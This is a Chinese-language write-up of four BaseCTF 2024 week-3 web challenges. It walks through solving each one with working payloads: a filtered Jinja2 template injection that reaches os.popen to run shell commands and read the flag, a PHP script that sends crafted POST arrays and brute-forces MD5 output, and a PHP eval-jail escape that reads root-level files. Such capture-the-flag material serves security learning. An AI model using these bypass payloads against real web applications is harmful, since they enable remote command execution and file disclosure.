2024basectf[week3]
1、复读机
这题页面是一个

之后在网络中可以看到这个网页的处理器是python

而且flag中还有类似于{}这样的字眼,而且还是python处理的,所以就想到了ssti

果然,出现了waf,所以基本上就是这个思路
+ - * / . {{ }} __ : " \ 这些好像都被过滤了,还有一些关键字也被过滤了,可以在关键字中间插入一对单引号''来进行绕过
{{}}也被过滤了,可以用{%print(...)%}模板进行绕过
于是构造BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']())%}
因为题目无法显示完全,所以这里通过抓包来获取输出页面

然后找到能够rce的类(如:<class 'os._wrap_close'>)
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('pwd')['rea''d']())%}
执行成功

现在的问题就是根目录 / 被过滤了
此时注意到上条命令执行的结果中有个 / 然后,这里我们可以用一个截取函数 expr substr来截取这个字符
payload:
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('a=`pwd`;a=`substr $a 1 1`;cd $a;cat flag')['rea''d']())%}
2、滤个不停
这题就是一个日志包含,很简单,可以去找找相关的资料然后做这个题
3、玩原神玩的
题目源码
<?php
highlight_file(__FILE__);
error_reporting(0);
include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}
function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}
dumpFlag();
}
function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!😡😡😡");
}
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}
include 'flag.php';
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}
echo json_encode($flag);
}
首先看这个
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}
如果传入的len(数组)长度等于$array的长度,那么就进入ys_open()函数
接着看ys_open()函数
function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}
dumpFlag();
}
如果$tip==我要玩原神,则执行dumpFlag()函数
最后来看dumpFlag()函数
function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!😡😡😡");
} //m的值必须设置,并且长度不能为2,否则中止程序运行
$a = $_POST['m'][0];
$b = $_POST['m'][1];
//将m的第一个值赋给$a,将m的第二个值赋给$b
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}
//$a的值,$b的值不能为空,$a的值不能等于100%,$b的值不能等于love100%.md5($a),否则终止程序运行
include 'flag.php';
$flag[] = array();
//初始化一个空数组$flag
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}
//ord($array[$ii]):返回每一个数组元素的ascii值
//md5(ord($array[$ii]) ^ $ii):将返回的ascii值跟索引进行异或运算(二进制位相同返回0,不同返回1)
echo json_encode($flag);
//将数组转化为JSON格式的字符串,如`$a=[ 'item1' => 'abc123','item2' => 'xyz789'];`经过JSON_encode函数后变成`{"item1":"abc123","item2":"xyz789"}`
}
最后的payload
<?php
highlight_file(__FILE__);
include 'flag.php';
$challenge_url = "http://challenge.basectf.fun:48221/?";
$post = "";
for ($i = 0;$i < 45;$i++) {
$post .= "len[]=" . $i . "&";
} // $_POST['len'] == sizeof($array)
$get = "tip=" . "我要玩原神"; // $tip != "我要玩原神"
$post .= "m[]=" . urlencode("100%") . "&m[]=" . urlencode("love100%" . md5("100%"));
echo '<br>' . 'URL: ' . $challenge_url . $get . '<br>';
echo 'POST Data: ' . $post . '<br>';
$curl = curl_init();
curl_setopt_array($curl, [
CURLOPT_URL => $challenge_url . $get,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $post,
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded',
],
]);
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) die('cURL Error #:' . $err);
preg_match('/\[\"(.*?)\"\]/', $response, $matches);
if (empty($matches)) die("Invalid JSON");
$json = '["' . $matches[1] . '"]';
echo "MD5 Array: " . $json . '<br>';
$md5_array = json_decode($json, true);
$flag = '';
for ($ii = 0; $ii < count($md5_array); $ii++) {
for ($ascii = 0; $ascii < 256; $ascii++) {
if (md5($ascii ^ $ii) === $md5_array[$ii]) {
$flag .= chr($ascii);
break;
}
}
}
echo "Flag: " . $flag;
4、ez_php_jail
题目代码
<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];
if($Jail == null) die("Do You Like My Jail?");
function Like_Jail($var) {
if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}
if (Like_Jail($Jail)) {
eval($Jail);
echo "Yes! you escaped from the jail! LOL!";
} else {
echo "You will Jail in your life!";
}
echo "\n";
// 在HTML解析后再输出PHP源代码
首先$Jail = $_GET['Jail_by.Happy'];
php版本小于8的时候,GET请求的参数含有. [ ,会被转化为 _,但是参数名中有 [ ,这个 [ 会直接转化为 _ ,但是后面有个 . ,这个 . 就不会转化为 _
所以可以用Jail[by.Happy 绕过
现在考虑如何得到flag,在页面源码中可以看见一个文件,highlight_file函数可以完美绕过
最后的payload
?Jail[by.Happy=highlight_file(glob("/f*")[0]);
glob("/f*") 这部分使用了glob模块,它会根据给定的模式返回匹配文件路径列表。/f*的意思是查找根目录(/)下以字母f开头的文件或者文件夹,
[0]表示索引
highlight_file():这是一个php中的一个函数,用来显示文件的内容,
所以这个payload的意识就是:获取根目录中第一个以f开头的文件,然后使用highlight_file()函数来显示该文件的内容,并进行语法点亮

浙公网安备 33010602011771号